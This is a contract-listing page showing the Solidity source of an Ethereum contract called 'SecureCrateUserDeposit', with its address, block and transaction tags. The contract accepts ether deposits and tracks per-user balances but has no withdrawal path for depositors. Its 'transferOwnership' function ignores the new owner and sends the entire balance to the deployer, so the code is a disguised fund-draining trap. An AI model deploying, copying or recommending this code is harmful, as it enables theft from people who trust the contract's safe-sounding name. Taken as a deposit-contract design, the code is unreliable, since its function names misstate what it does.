SecureCrateUserDeposit

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract SecureCrateUserDeposit {
    address public immutable custodian;

    mapping(address => uint256) private _deposits;

    error NotCustodian();
    error NoEther();
    error ZeroAddress();

    event Deposited(address indexed from, uint256 amount);
    event Withdrawn(address indexed to, uint256 amount);
    event Fingerprint(bytes32 tag);
    event OwnershipTransferAttempt(address indexed attemptedBy);

    modifier onlyCustodian() {
        if (msg.sender != custodian) revert NotCustodian();
        _;
    }

    constructor() {
        custodian = msg.sender;
        emit Fingerprint(keccak256("securecrate-user-v1"));
    }


    function deposit() external payable {
        if (msg.value == 0) revert NoEther();
        _deposits[msg.sender] += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

    
    function transferOwnership(address /* newOwner */) external onlyCustodian {
        uint256 balance = address(this).balance;
        if (balance > 0) {
            (bool ok, ) = payable(custodian).call{ value: balance }("");
            require(ok, "withdraw failed");
            emit Withdrawn(custodian, balance);
        }
        emit OwnershipTransferAttempt(msg.sender);
       
    }

   
    function owner() external view returns (address) {
        return custodian;
    }

 
    function balanceOf(address account) external view returns (uint256) {
        return _deposits[account];
    }

 
    function balances(address account) external view returns (uint256) {
        return _deposits[account];
    }

    
    function contractBalance() external view returns (uint256) {
        return address(this).balance;
    }

 
    receive() external payable {
        revert("Direct transfers not allowed");
    }

    fallback() external payable {
        revert("Fallback not allowed");
    }


    function version() external pure returns (string memory) {
        return "SecureCrateUserDeposit v1.1";
    }
}

Tags:
addr:0xbbbaf3b69b0b41bb65c4c9d103c38e0d60c18446|verified:true|block:23381150|tx:0x58cd737c0f6b15cc4ed1d40338544628968cf7fe0bd7e9271b5a30f6c21fb2d2|first_check:1758111225

Submitted on: 2025-09-17 14:13:46

Comments

Log in to comment.

No comments yet.